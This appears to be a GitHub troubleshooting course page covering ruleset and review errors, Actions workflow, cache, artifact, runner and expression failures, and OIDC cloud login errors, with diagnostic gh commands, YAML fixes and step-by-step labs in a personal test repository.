Diagnostic commands
gh api repos/O/R/actions/permissions/workflow gh api orgs/O/actions/permissions/workflow # organization-level settings restrict repository-level ones
{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}
Fix
- Preferred: create PRs with an installation token from a dedicated GitHub App — this way PRs trigger CI normally, and review is still done by humans.
- Or have an admin turn on the switch (allow it at the organization level first) and accept the limitation that “bot PRs do not trigger CI”.
Prevention and best practices
- Never let automation “approve its own work”; leave approval rights to humans or CODEOWNERS.
#12 Someone has approved, but it still shows “Review required … At least 1 approving review is required by reviewers with write access”
Review required At least 1 approving review is required by reviewers with write access. ✓ carol approved these changes ← carol only has Read/Triage # or: after dave approved, the author pushed another commit → “New changes since you last viewed”, and the approval is revoked
Root cause:① only approvals from people who have Write or higher permission on the repository count; ② the rule enables “Dismiss stale pull request approvals when new commits are pushed” or “Require approval of the most recent reviewable push” (the latest push must be approved by someone other than the pusher); ③ when CODEOWNERS review is required, the approver must be an owner of that path; ④ the author cannot approve their own PR.
Diagnostic commands
gh pr view 42 --json reviews,reviewDecision -q '{decision: .reviewDecision, reviews: [.reviews[] | {author: .author.login, state}]}'
gh api repos/O/R/collaborators/carol/permission -q .permission
{"decision":"REVIEW_REQUIRED","reviews":[{"author":"carol","state":"APPROVED"}]}
read
Fix
- Ask a member with Write permission or the relevant Code Owner to review; or raise the reviewer team to Write.
- For revoked approvals: ask the reviewer to approve again (this is the expected security behavior; do not turn it off).
Prevention and best practices
- Explain the review rules in the PR template; use
gh pr view --json reviewDecisionto send bot reminders.
404 vs 403 meaning comparison
| Status code | Common meaning on GitHub | First step |
|---|---|---|
| 401 Bad credentials | Token invalid, expired or revoked (#45, #50) | Check the token source and expiration |
| 403 | Identity recognized but rejected: SSO not authorized, insufficient permissions (“Resource not accessible by integration”), rate limiting, platform policy | Read message and x-github-sso,x-ratelimit-remaining |
| 404 | resource does not exist or the current identity cannot view a private resource | First confirm the identity and the repository access scope |
| 422 | Invalid request parameters/state (e.g. merge conditions not met, duplicate creation) | Read the errors array |
| 429 | Rate limiting (secondary rate limits can also return 403) | Back off per retry-after (#43) |
Interactive troubleshooting decision tree: “PR cannot be merged / access denied”
Choose step by step based on the symptom you see; the conclusion gives the matching problem number and first action.
Lab 1-1: required check name mismatch (#3)
cd ~/gh8-lab
O=$(gh api user -q .login)
# new ruleset: main requires a check named "build" (the actual job name is "test")
gh api repos/$O/gh8-lab/rulesets -X POST --input - <<'EOF'
{"name":"lab-main","target":"branch","enforcement":"active",
"conditions":{"ref_name":{"include":["~DEFAULT_BRANCH"],"exclude":[]}},
"rules":[{"type":"pull_request","parameters":{"required_approving_review_count":0,"dismiss_stale_reviews_on_push":false,"require_code_owner_review":false,"require_last_push_approval":false,"required_review_thread_resolution":false}},
{"type":"required_status_checks","parameters":{"strict_required_status_checks_policy":false,"required_status_checks":[{"context":"build"}]}}]}
EOF
git switch -c lab/check && echo "# x" >> app.py && git commit -qam "test: check name" && git push -qu origin lab/check
gh pr create --fillgh pr checks # test ✓, build is expected / pending gh pr view --json mergeStateStatus -q .mergeStateStatus # BLOCKED
RID=$(gh api repos/$O/gh8-lab/rulesets -q '.[] | select(.name=="lab-main") | .id')
gh api repos/$O/gh8-lab/rulesets/$RID -X PUT --input - <<'EOF'
{"rules":[{"type":"required_status_checks","parameters":{"strict_required_status_checks_policy":false,"required_status_checks":[{"context":"test"}]}}]}
EOF
gh pr view --json mergeStateStatus -q .mergeStateStatus # CLEANgh pr close --delete-branch; git switch main gh api repos/$O/gh8-lab/rulesets/$RID -X DELETE
Lab 1-2: 404 vs 403 (#1, #8)
curl -s -o /dev/null -w '%{http_code}\n' https://api.github.com/repos/$O/gh8-lab # 200: public repository readable anonymously
gh repo edit $O/gh8-lab --visibility private --accept-visibility-change-consequences
curl -s -o /dev/null -w '%{http_code}\n' https://api.github.com/repos/$O/gh8-lab # 404: anonymous users cannot see private repositories
gh api repos/$O/gh8-lab -q .private # true: visible once you have an identitygh repo edit $O/gh8-lab --visibility public --accept-visibility-change-consequences
Conclusion: the same repository returns 404 to an “unauthorized identity”; the SSO scenario requires an enterprise organization, so only observe x-github-sso the response headers.
Lab 1-3: CODEOWNERS error detection (#4)
mkdir -p .github && printf '* @%s\n/services/ @%s/no-such-team\n' "$O" "$O" > .github/CODEOWNERS git add .github/CODEOWNERS && git commit -qm "chore: codeowners" && git push -q
gh api repos/$O/gh8-lab/codeowners/errors -q '.errors[] | "\(.line): \(.kind) \(.message)"' sed -i '/no-such-team/d' .github/CODEOWNERS && git commit -qam "fix: codeowners" && git push -q gh api repos/$O/gh8-lab/codeowners/errors -q '.errors | length' # 0
Lab 1-4: observing a ruleset in Evaluate mode (#5)
gh api repos/$O/gh8-lab/rulesets -X POST --input - <<'EOF'
{"name":"lab-eval","target":"branch","enforcement":"evaluate",
"conditions":{"ref_name":{"include":["~DEFAULT_BRANCH"],"exclude":[]}},
"rules":[{"type":"required_signatures"}]}
EOF
echo "# eval" >> app.py && git commit -qam "chore: eval" && git push -q # Evaluate mode: allows the push but records it
gh api "repos/$O/gh8-lab/rulesets/rule-suites" -q '.[0] | {ref, result, evaluation_result}'
# Clean up: in Settings → Rules → Rulesets, delete lab-evalEvaluate mode is available in organization public repositories or Enterprise (refer to official documentation); if it is not available for a personal repository, just observe Rule insights on the web.
Tutorial video (title and channel verified via YouTube oEmbed)
No verified video specifically covering ruleset / merge queue / CODEOWNERS troubleshooting was found; please refer to the official documentation:About rulesets · Managing a merge queue · About code owners.
Module 2 · Part A: Actions workflows and runners (Problems 13–25)
- Be able to break a run into six stages (event, workflow matching, job queuing, runner claim, step execution, status/log/artifact write-back) and name the most typical failure at each stage.
- Understand two “guardrails”:
GITHUB_TOKENEvents triggered by will not trigger new workflows (recursion protection,workflow_dispatchandrepository_dispatchare excepted); theGITHUB_TOKENpermissions = workflow/job declaration ∩ repository/organization ceiling. - Use
gh run view --log-failed, debug logs,gh cache list,gh api …/actions/runnersto locate issues quickly.
Enter keywords (e.g. integration,Cache not found,Waiting for a runner,set-output,Unrecognized named-value) to filter.
#13 workflow does not trigger: pushed / tagged / bot committed, but the Actions page shows nothing
release.yml: on: push: tags: ['v*'] # the release workflow pushed the v1.4.0 tag with GITHUB_TOKEN → deploy.yml did not run # or: a schedule / workflow_dispatch workflow is on a feature branch, and the Actions page does not show the “Run workflow” button
Root cause checklist:
- Recursion protection: actions performed with
GITHUB_TOKENGITHUB_TOKEN (push, creating tags/Releases, opening PRs) do not trigger new workflow runs (workflow_dispatch,repository_dispatchare excepted). - Default branch:
schedule,workflow_dispatch(web button), andissuesother events read only the workflow files on the default branch. - Filters: a mistyped
branches/paths/tagsfilter; when bothbranchesandtagsare written, tag pushes are compared only againsttags(when onlybranchesis written, tag pushes do not trigger); when a push contains more than 1000 commits or the diff is too large, see the docs for paths-filter behavior. - file is invalid: with a YAML syntax error, a failed “workflow file issue” record appears in the runs list instead of a run.
- is disabled: scheduled workflows are automatically disabled in public repositories with no activity for 60 days; the workflow was manually disabled; the repository or organization has disabled Actions.
[skip ci]and similar commit messages skippush/pull_requesttriggering.
Diagnostic commands
gh workflow list --all # status active / disabled_manually / disabled_inactivity gh run list -w deploy.yml -L 5 --json event,headBranch,status,conclusion gh api repos/O/R/actions/permissions -q .enabled git log -1 --format=%B | grep -i 'skip ci'
ci active 12345 deploy active 12346 nightly disabled_inactivity 12347 [] ← deploy has never been triggered
Fix
- Chained triggers: in the release job, push the tag with a GitHub App token (it triggers normally
push: tags); or within the same workflow, useneedsto chain the deployment; or explicitlygh workflow run deploy.yml -f tag=v1.4.0(dispatch is not affected by recursion protection). - schedule / dispatch: first merge the workflow into the default branch;
gh workflow enable nightly.
Prevention and best practices
- In PRs, use
actionlintto validate workflow syntax and expressions. - Document the event chain of “who triggers whom” (Lesson 5 reusable workflows).
See Lesson 2: workflow syntax and event triggers,Lesson 7: deep dive into common workflow failures.
#14 HttpError: Resource not accessible by integration (403)
Run actions/github-script@v8
RequestError [HttpError]: Resource not accessible by integration
status: 403,
response: { url: 'https://api.github.com/repos/myorg-lab/myapp/issues/42/labels', ...
'x-accepted-github-permissions': 'issues=write; pull_requests=write' }
Root cause:“integration” refers to a GitHub App —GITHUB_TOKEN the GITHUB_TOKEN is itself an App installation token. A 403 means the token lacks the permission the API needs: ① the workflow sets a top-level permissions: contents: read, but did not grant issues: write / pull-requests: write; ② the default permission for the repository/organization is “Read repository contents” (default for new repositories); if nothing is declared, it is read-only; ③ fork PRs force the token to read-only (#7); ④ tokens for runs triggered by Dependabot are read-only by default (#47); ⑤ accessing another repository or an organization-level resource (e.g. organization members, Projects v2) GITHUB_TOKEN simply has no such permission, so an App or PAT is needed.
Diagnostic commands
gh run view <run-id> --log | sed -n '/GITHUB_TOKEN Permissions/,/Secret source/p' grep -n -A6 'permissions:' .github/workflows/labeler.yml
GITHUB_TOKEN Permissions Contents: read Metadata: read Secret source: Actions
Fix
jobs:
label:
runs-on: ubuntu-latest
permissions: # grant only the needed permissions at the job level
contents: read
issues: write
pull-requests: write
- response header
x-accepted-github-permissionstells you directly which permission is needed. - For cross-repository / organization resources, use
actions/create-github-app-tokento generate an installation token scoped to specific repositories and permissions.
Prevention and best practices
- Set the organization default to read-only, and have each workflow explicitly declare
permissions; use OpenSSF Scorecard / zizmor to check for overly broad permissions.
See Lesson 2: secrets, variables and GITHUB_TOKEN permissions.
#15 Cache never hits: Cache not found for input keys: …
Run actions/cache@v6 Cache not found for input keys: Linux-pip-3f1c9a…, Linux-pip- ... Post job cleanup. Failed to save: Unable to reserve cache with key Linux-pip-3f1c9a…, another job may be creating this cache.
Root cause:① The key changes every time: hashFiles() ① the key points to files that change (e.g. a lock file with a timestamp), or puts github.sha/run_id into the primary key but without a restore-keys prefix; ② scope: caches are isolated per branch — a PR branch can read caches from itself and its base branch (the default branch)'s cache, but cannot read caches from other feature branches; if nothing was ever saved on main, every PR starts cold; ③ the cache is not saved: when a job fails, the post step does not save by default; an existing cache with the same key is not overwritten (caches are immutable); ④ is evicted: caches unused for 7 days, or evicted by least-recently-used once the repository cache quota (default 10 GB) is exceeded; ⑤ different paths: path, OS and compression method mismatches also cause version mismatches.
Diagnostic commands
gh cache list -R O/R -L 20 --sort last_accessed_at gh api repos/O/R/actions/cache/usage gh run view <run-id> --log | grep -E 'Cache (restored|not found|saved)|hashFiles'
ID KEY SIZE CREATED ACCESSED REF
9871 Linux-pip-3f1c9a… 212 MiB 2d ago 2d ago refs/pull/42/merge
{"full_name":"O/R","active_caches_size_in_bytes":10735411200,"active_caches_count":134} ← close to the quota
Fix
- uses: actions/cache@v6
with:
path: ~/.cache/pip
key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
restore-keys: |
${{ runner.os }}-pip-
# and make sure a push to main also runs once, producing a cache that all PRs can read
- Prefer using the
setup-python/setup-nodebuilt-incache:parameter. - Clean up unused caches:
gh cache delete --all(use with care), or delete PR caches by prefix.
Prevention and best practices
- Use caches for “regenerable dependencies”; do not use caches to pass build results between jobs (use artifacts instead).
- Monitor cache usage; exceeding the quota causes frequent evictions (Lesson 7).
See Lesson 2: caches and artifacts,Lesson 7: performance: caching, parallelism and larger runners.
#16 Artifact download failure: Unable to download artifact(s): Artifact not found for name: build
Run actions/download-artifact@v8
Error: Unable to download artifact(s): Artifact not found for name: build
Please ensure that your artifact is not expired and the artifact was uploaded using a compatible version of toolkit/upload-artifact.
Root cause:① Cross-run: download-artifact by default only searches within the current run. To fetch artifacts from another run (e.g. the workflow_run scenario), you must pass run-id and github-token; ② version incompatibility: the new artifact backend from v4 onward is incompatible with v3 and earlier; upload and download sides must both be on the new backend (v4+); ③ expired: retention defaults to 90 days (can be shortened in repository/organization settings), or the artifact was deleted manually; ④ dependency order: the download job lacks a needs dependency on the upload job, so the two run in parallel; ⑤ name: the matrix uploaded build-ubuntu/build-windows, but the download uses build to fetch (can use pattern: build-* + merge-multiple: true). Related error: uploading an artifact with the same name twice in one run gives (409) Conflict: an artifact with this name already exists on the workflow run (wording may vary by version).
Diagnostic commands
gh api repos/O/R/actions/runs/<run-id>/artifacts -q '.artifacts[] | [.name, .size_in_bytes, .expired, .expires_at] | @tsv' grep -nE 'upload-artifact|download-artifact|needs:' .github/workflows/*.yml
Fix
- uses: actions/download-artifact@v8
with:
pattern: build-* # multiple artifacts uploaded by the matrix
merge-multiple: true
# cross-run: run-id: ${{ github.event.workflow_run.id }}
# github-token: ${{ github.token }} (requires actions: read)
Prevention and best practices
- Upgrade the upload/download actions together; set an appropriate
retention-daysto control storage costs (#46). - Push artifacts needed for deployment to an artifact repository or container registry; do not rely on Actions artifacts that expire after 90 days (#34).
#17 One matrix combination fails and all other jobs are canceled: The operation was canceled.
test (ubuntu-latest, 3.12) ✗ failed test (ubuntu-latest, 3.13) ⊘ cancelled ##[error]The operation was canceled. test (windows-latest, 3.13) ⊘ cancelled
Root cause:strategy.fail-fast defaults to true: if any matrix job fails, GitHub cancels all in-progress and queued jobs in that matrix to save minutes. As a result you see only one failure and cannot tell whether it is “broken only on 3.12” or “broken everywhere”. Another common misconception: continue-on-error: true set on a step only affects that step; set on the job, it keeps a job failure from affecting the overall conclusion.
Diagnosis
gh run view <run-id> --json jobs -q '.jobs[] | [.name, .conclusion] | @tsv'
Fix
strategy:
fail-fast: false # let every combination run to completion to get the full compatibility matrix
max-parallel: 4
matrix:
os: [ubuntu-latest, windows-latest]
python: ["3.12", "3.13"]
include:
- python: "3.14"
os: ubuntu-latest
experimental: true
continue-on-error: ${{ matrix.experimental == true }} # experimental combinations do not block on failure
Prevention and best practices
- Fail-fast on PRs saves money; on main/nightly, set
fail-fast: falseto get full information (switchable with an expression). - Use a summary job for required checks (#3).
#18 Canceling since a higher priority waiting request for 'deploy-prod' exists
deploy Canceling since a higher priority waiting request for 'deploy-prod' exists # or: the run stays on “Pending: Waiting for another workflow run in this concurrency group to finish” (wording may vary by version)
Root cause:concurrency A group allows at most 1 running job plus 1 pending job at a time: when a new run enters,the existing pending run is canceled (not queued); if also set cancel-in-progress: true, the running one is also canceled. Common incidents: ① a production deploy group set cancel-in-progress: true, which interrupts a deployment midway and leaves it half-finished; ② the group name is a fixed string ci, so all branches cancel each other; ③ wanting to “deploy 3 versions in order” while the concurrency group keeps only the latest waiting run.
Diagnosis
grep -n -A3 'concurrency' .github/workflows/*.yml gh run list -w deploy.yml -L 10 --json databaseId,status,conclusion,headSha
Fix
# CI: older runs for the same branch/PR have no value; canceling is fine
concurrency:
group: ci-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
---
# Deployment: serialize, but never interrupt an in-progress deployment
concurrency:
group: deploy-${{ inputs.environment }}
cancel-in-progress: false
- If you need “every version deployed”, do not rely on concurrency groups to queue them; deploying the latest version is usually the right semantics (skipping intermediate versions is expected behavior).
Prevention and best practices
- Make deployment scripts idempotent so they can be safely re-run; design them together with the deployment race problem #33.
See Lesson 2: matrix and concurrency,Lesson 3: environments, approvals and deployment protection rules.
#19 Self-hosted runner offline / job stuck on “Waiting for a runner to pick up this job…”
build Waiting for a runner to pick up this job... Requested labels: self-hosted, linux, gpu Job defined at: myorg-lab/myapp/.github/workflows/train.yml@refs/heads/main
Root cause: The job's runs-on label set must be matched by a online, idle, and available to this repository runner with all of the labels satisfied. Common causes: ① the runner is offline (service stopped, machine asleep, token expired and re-registration needed; long-offline runners are removed automatically); ② a label is misspelled or an extra label was added; ③ the runner is in the organization's runner group runner group, but the group has not granted access to this repository (or does not allow public repositories); ④ all runners are busy (ARC's maxRunners limit is too small or scaling is slow); ⑤ larger runners need a group/billing that has not been configured. Jobs queued for over 24 hours fail.
Diagnostic commands
gh api orgs/O/actions/runners -q '.runners[] | [.name, .status, .busy, ([.labels[].name]|join(","))] | @tsv'
gh api orgs/O/actions/runner-groups -q '.runner_groups[] | [.id, .name, .visibility, .allows_public_repositories] | @tsv'
# On the runner host:
sudo ./svc.sh status ; tail -50 _diag/Runner_*.log
# ARC: kubectl get autoscalingrunnersets,ephemeralrunners -n arc-runners
gpu-01 offline false self-hosted,linux,x64,gpu gpu-02 online true self-hosted,linux,x64,gpu 5 gpu-pool selected false ← this repository is not in the selected list?
Fix
- Restore service / re-register (
./config.sh --url … --token …, get the token from the settings page or the API; valid for 1 hour). - Fix the label: prefer
runs-on: { group: gpu-pool, labels: [linux, gpu] }. - Grant the runner group to the repository; raise ARC
maxRunnersor pre-warmminRunners.
Prevention and best practices
- Use ephemeral runners, one clean machine per job; do not use self-hosted runners for public repositories.
- Monitor queue duration and the number of online runners; alert thresholds such as “queued > 10 minutes”.
#20 The job running on runner … has exceeded the maximum execution time of 360 minutes.
##[error]The job running on runner GitHub Actions 7 has exceeded the maximum execution time of 360 minutes. ##[error]The operation was canceled.
Root cause: On GitHub-hosted runners a single job can run for at most 6 hours (5 days for self-hosted), and a whole workflow run for at most 35 days; timeout-minutes the default is 360 minutes. Jobs that hit the limit are almost always “stuck” rather than “genuinely needing 6 hours”: tests waiting for interactive input, deadlocks, waiting for a service that never becomes ready,docker compose up a foreground process, or network downloads with no timeout. Cost: 6 hours of runner minutes wasted.
Diagnosis
gh run view <run-id> --log | tail -40 # where the last output stops (which step) gh run view <run-id> --json jobs -q '.jobs[].steps[] | select(.conclusion!="success") | [.name,.startedAt,.completedAt] | @tsv'
Fix
jobs:
test:
timeout-minutes: 20 # job level: set to P95 duration × 2
steps:
- run: pytest -q --timeout=120 # test-level timeout (pytest-timeout)
timeout-minutes: 15 # step level
- run: docker compose up -d --wait # run in background + wait for health checks, instead of blocking in the foreground
- To investigate a stuck process, use a
tmate-style debug action on failure (private repositories only, restrict who can access) or printpsthe /thread stack.
Prevention and best practices
- On every job, set
timeout-minutes; an organization policy or lint can enforce it.
See Lesson 2 jobs, steps, runners and dependencies,Lesson 7 cost and billing optimization.
#21 The workflow is not valid … Unrecognized named-value: 'secret' (expression evaluation error)
The workflow is not valid. .github/workflows/deploy.yml (Line: 18, Col: 14): Unrecognized named-value: 'secret'. Located at position 1 within expression: secret.AZURE_CLIENT_ID # Another category: only reported at runtime Error: The template is not valid. .github/workflows/deploy.yml (Line: 25, Col: 13): Error reading JToken from JsonReader. Path '', line 0, position 0.
Root cause:① Context name misspelled (secret → secrets,github.event.pull_request.number is empty in push events); ② the context availability is restricted, for example, secrets cannot be used in if: for direct checks,env the context cannot be used in runs-on/job level with and similar places; ③ fromJSON() it parses an empty string (upstream job output not set), causing a second error; ④ if: in ${{ }} concatenated with a string always evaluates to true (if: ${{ github.ref }} == 'refs/heads/main' it is always a non-empty string → true); ⑤ loose type conversion in comparisons: 'false' a string is truthy.
Diagnostic commands
actionlint .github/workflows/deploy.yml # local static check (expressions, contexts, shellcheck)
# temporarily print the context (be careful not to print secrets)
# - run: echo '${{ toJSON(needs) }}'
.github/workflows/deploy.yml:18:14: undefined variable "secret". available variables are "env", "github", "inputs", "job", "matrix", "needs", "runner", "secrets", "steps", "strategy", "vars" [expression]
Fix
if: github.ref == 'refs/heads/main' && needs.build.outputs.image != '' # write the whole condition as one expression
env:
HAS_KEY: ${{ secrets.AZURE_CLIENT_ID != '' }} # map secrets to env first, then check env.HAS_KEY == 'true' in the step if
Prevention and best practices
- Run actionlint as a pre-commit and PR check; put complex logic in a script rather than an expression.
#22 The `set-output` command is deprecated and will be disabled soon. Please upgrade to using Environment Files.
Warning: The `set-output` command is deprecated and will be disabled soon. Please upgrade to using Environment Files. For more information see: https://github.blog/changelog/2022-10-11-github-actions-deprecating-save-state-and-set-output-commands/
Root cause: The old “workflow commands” print ::set-output name=x::v / ::save-state to pass values through stdout; anything that can control log output (for example an untrusted PR title that gets printed) can inject output values, so they were deprecated in favor of environment files $GITHUB_OUTPUT,$GITHUB_STATE,$GITHUB_ENV. Warnings also often come from an old version of a third-party action. Similar deprecations: ::add-path/::set-env has long been disabled; JS actions running on an old Node version also show deprecation warnings (official actions have moved to node24).
Diagnosis
grep -rn '::set-output\|::save-state\|::set-env' .github/ scripts/ gh run view <run-id> --log | grep -B3 'set-output' # see which uses: step the warning appears after
Fix
# Old: echo "::set-output name=tag::v1.4.0"
echo "tag=v1.4.0" >> "$GITHUB_OUTPUT"
# Multi-line value
{ echo 'notes<<EOF'; cat CHANGELOG.md; echo 'EOF'; } >> "$GITHUB_OUTPUT"
- The warning comes from a third-party action: upgrade to a new version, or replace it with a maintained action.
Prevention and best practices
- Let the Dependabot
github-actionsecosystem automatically upgrade action versions (paired with SHA pinning).
See Lesson 2 jobs, steps and dependencies,Lesson 5 writing custom actions.
#23 Calling a reusable workflow fails: error parsing called workflow … workflow was not found
Invalid workflow file: .github/workflows/ci.yml#L12 error parsing called workflow ".github/workflows/ci.yml" -> "myorg-lab/platform-workflows/.github/workflows/python-ci.yml@v2" : workflow was not found. See https://docs.github.com/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows for more information.
Root cause:① The called repository is private/internal repository, and it does not allow “Accessible from repositories in the organization” in its Settings → Actions → General → Access; ② the referenced tag/branch/SHA does not exist (@v2 not pushed); ③ the called file is missing on: workflow_call; ④ the path must be .github/workflows/ file, not in a subdirectory; ⑤ the caller passes an undeclared inputs/secrets (error: “Invalid input … is not defined”). Also note that secrets are not passed automatically: you need secrets: inherit or pass each one explicitly; nesting depth is limited (see the official docs).
Diagnostic commands
gh api repos/myorg-lab/platform-workflows/actions/permissions/access -q .access_level # none / organization / enterprise gh api repos/myorg-lab/platform-workflows/git/ref/tags/v2 -q .object.sha gh api repos/myorg-lab/platform-workflows/contents/.github/workflows/python-ci.yml?ref=v2 -q .content | base64 -d | grep -A5 workflow_call
Fix
- Called repository: set Access to “Accessible from repositories in the ‘myorg-lab’ organization”.
- Push the tag / switch to an existing ref (reference by SHA in production); add
on: workflow_calland declare inputs/secrets.
Prevention and best practices
- Publish semantic versions from the shared workflow repository and maintain a changelog; callers upgrade with Dependabot.
#24 A deploy job is skipped even though the jobs it depends on succeeded or were skipped
changes ✓ success build ⊘ skipped (if: needs.changes.outputs.app == 'true') deploy ⊘ skipped ← needs: [build], build was skipped → deploy is also skipped
Root cause: A job's if implicit default is success(): it only runs if needs the jobs in all succeed. If an upstream job is skipped or fails, downstream jobs are skipped automatically; this skip propagates along the dependency chain. If you write a custom condition in if without a status function, GitHub still prepends success() &&. Another variant: a job output comes from a skipped step and is an empty string, so the downstream condition is always false.
Diagnosis
gh run view <run-id> --json jobs -q '.jobs[] | [.name,.conclusion] | @tsv' gh run view <run-id> --log --job <changes-job-id> | grep -i 'outputs\|filter'
Fix
deploy:
needs: [build, migrate]
# allow upstream jobs to be skipped, but not to fail or be cancelled
if: ${{ !cancelled() && !contains(needs.*.result, 'failure') && needs.build.result != 'skipped' }}
Prevention and best practices
- Draw the job dependency graph (the graph view on the Actions run page); keep conditions concentrated in the first job and pass the rest along via outputs.
See Lesson 2 jobs, steps, runners and dependencies · expressions and conditions.
#25 No space left on device on a hosted runner (Docker builds / large models / large monorepo)
ERROR: failed to solve: failed to copy files: write /var/lib/docker/...: no space left on device System.IO.IOException: No space left on device : '/home/runner/runners/.../_diag/Worker_....log'
Root cause: Standard hosted Linux runners have limited disk space (pre-installed toolchains take up room; roughly 10 to a few dozen GB usable, see the official runner specs); multi-stage Docker builds, uncleaned image layers,node_modules, model files can easily exhaust the disk. When logs cannot be written, the runner itself fails, and the job appears to abort suddenly.
Diagnosis
df -h / /mnt 2>/dev/null; docker system df; du -sh ~/.cache/* 2>/dev/null | sort -h | tail
Fix
- Delete unneeded pre-installed tools before the build (e.g.
sudo rm -rf /usr/share/dotnet /opt/ghc /usr/local/lib/android, as needed);docker buildx prune -af. - Export the BuildKit cache to
type=ghaor an image registry, rather than keeping every layer locally. - Switch to a larger runner with more disk, or a self-hosted runner (billed differently, #46).
Prevention and best practices
- Print at the start of the job
df -h, and track trends over time; slim the Docker build context (.dockerignore).
See Lesson 7 performance: caching, parallelism and larger runners; for image size optimization see the Docker course.
Failure reproduction simulator: at which stage does a workflow run fail?
Pick a scenario and run it: the six stages advance in order; the failing stage turns red and shows the exact log text and problem number.
Lab 2-1: a tag pushed with GITHUB_TOKEN does not trigger a workflow (#13)
cd ~/gh8-lab
cat > .github/workflows/tag.yml <<'EOF'
name: tag
on: workflow_dispatch
permissions: { contents: write }
jobs:
tag:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- run: git tag v0.0.1-lab && git push origin v0.0.1-lab
EOF
cat > .github/workflows/on-tag.yml <<'EOF'
name: on-tag
on: { push: { tags: ['v*'] } }
jobs:
hello: { runs-on: ubuntu-latest, steps: [ { run: echo "triggered by ${{ github.ref }}" } ] }
EOF
git add .github && git commit -qm "lab: tag chain" && git push -q
gh workflow run tag.yml && sleep 60 && gh run list -w on-tag.yml -L 3tag The run succeeds and the remote shows v0.0.1-lab, but on-tag has no runs at all: this is recursion protection.
git ls-remote --tags origin | grep lab git push origin :refs/tags/v0.0.1-lab && git tag -f v0.0.1-lab && git push origin v0.0.1-lab # push with your own identity gh run list -w on-tag.yml -L 3 # this time it did trigger
In tag.yml use a GitHub App token to push, or after pushing gh workflow run on-tag.yml (requires actions: write).
git push origin :refs/tags/v0.0.1-lab; git tag -d v0.0.1-lab git rm -q .github/workflows/tag.yml .github/workflows/on-tag.yml && git commit -qm "lab: cleanup" && git push -q
Lab 2-2: Resource not accessible by integration (#14)
cat > .github/workflows/label.yml <<'EOF'
name: label
on: workflow_dispatch
permissions: { contents: read }
jobs:
l:
runs-on: ubuntu-latest
steps:
- run: gh issue create -R "$GITHUB_REPOSITORY" -t "lab" -b "x"
env: { GH_TOKEN: "${{ github.token }}" }
EOF
git add . && git commit -qm "lab: label" && git push -q && gh workflow run label.ymlgh run view $(gh run list -w label.yml -L1 --json databaseId -q '.[0].databaseId') --log-failed | grep -i 'not accessible'
sed -i 's/permissions: { contents: read }/permissions: { contents: read, issues: write }/' .github/workflows/label.yml
git commit -qam "fix: issues write" && git push -q && gh workflow run label.ymlgh issue list -s open --search "lab in:title" --json number -q '.[].number' | xargs -r -n1 gh issue close git rm -q .github/workflows/label.yml && git commit -qm "lab: cleanup" && git push -q
Lab 2-3: cache keys and scope (#15)
gh run list -w ci.yml -L 2 # the first main run saves the pip cache gh cache list -L 5 # see the setup-python-Linux-…-pip-… key, REF = refs/heads/main git switch -c lab/cache && echo "# c" >> app.py && git commit -qam "lab: cache" && git push -qu origin lab/cache && gh pr create --fill gh run view $(gh run list -b lab/cache -L1 --json databaseId -q '.[0].databaseId') --log | grep -i 'cache restored' # the PR can read the main cache gh pr close --delete-branch; git switch main
Lab 2-4: concurrency group cancellation (#18)
cat > .github/workflows/slow.yml <<'EOF'
name: slow
on: workflow_dispatch
concurrency: { group: lab-deploy, cancel-in-progress: false }
jobs: { s: { runs-on: ubuntu-latest, steps: [ { run: sleep 90 } ] } }
EOF
git add . && git commit -qm "lab: slow" && git push -q
for i in 1 2 3; do gh workflow run slow.yml; sleep 5; done
sleep 20; gh run list -w slow.yml -L 3 --json status,conclusion # 1 in_progress, 1 cancelled, 1 pending
git rm -q .github/workflows/slow.yml && git commit -qm "lab: cleanup" && git push -qTeaching videos (titles and channels verified via YouTube oEmbed)
Official troubleshooting docs:Enable debug logging(link paths may change as the docs are restructured; search “debug logging” on docs.github.com).
- 0:00 The release workflow is green; the deploy workflow list is empty.
- 0:40 Animation: the GITHUB_TOKEN event is blocked by the “anti-recursion” gate.
- 1:30 Switch to an App token → deployment is triggered.
- 2:20 Compare the trade-offs between the dispatch approach and the needs approach.
Module 3 · Part A: Deployment, OIDC and cloud platforms (problems 26–38)
- Be able to draw the OIDC exchange: the runner uses
ACTIONS_ID_TOKEN_REQUEST_URL/_TOKENto request a JWT from GitHub (requiresid-token: write) → the cloud validates issuer (https://token.actions.githubusercontent.com),audience,subject (and other conditions) → returns short-lived cloud credentials. - Remember that the subject's form depends on the trigger context: a job using
environmentis…:environment:prod, otherwise it is…:ref:refs/heads/main,…:pull_requestor…:ref:refs/tags/v1.4.0; repositories created, renamed or transferred from 2026-07-15 onward use the immutable format by defaultrepo:owner@<owner-id>/repo@<repo-id>:…. - Distinguish “authentication failure” (AADSTS7002xx, AssumeRoleWithWebIdentity denied) from “authenticated but insufficiently authorized” (AuthorizationFailed, AccessDenied on ecr:…).
Enter a keyword (e.g. AADSTS,AssumeRoleWithWebIdentity,id-token,ECR,environment,expired) to filter.
#26 AADSTS700213: No matching federated identity record found for presented assertion subject 'repo:…:environment:prod'
Run azure/login@v3 Error: AADSTS700213: No matching federated identity record found for presented assertion subject 'repo:myorg-lab/myapp:environment:prod'. Check your federated identity credential Subject, Audience and Issuer against the presented assertion. https://learn.microsoft.com/entra/workload-id/workload-identity-federation Error: Login failed with Error: The process '/usr/bin/az' failed with exit code 1.
Symptom: The same workflow could log in before adding environment: prod , but fails after adding it; or the terraform plan step fails on a PR while it works on main.
Root cause: Entra ID's federated identity credential (FIC) matches exactly on issuer + subject + audience (no wildcards; for expression matching in “flexible FIC”, follow the current Microsoft Learn docs). When the job declares environment then the subject becomes …:environment:prod, but the FIC is configured for …:ref:refs/heads/main; the subject for a PR trigger is …:pull_request; for a tag trigger it is …:ref:refs/tags/v1.4.0. Renaming or transferring a repository, or the organization customizing its subject template (include_claim_keys), or enabling immutable subjects (#29), also changes the subject.
Diagnostic commands
# temporary step: print OIDC claims (print only the payload, not the full token)
- run: |
TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r .value)
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq '{iss,aud,sub,environment,ref,job_workflow_ref}'
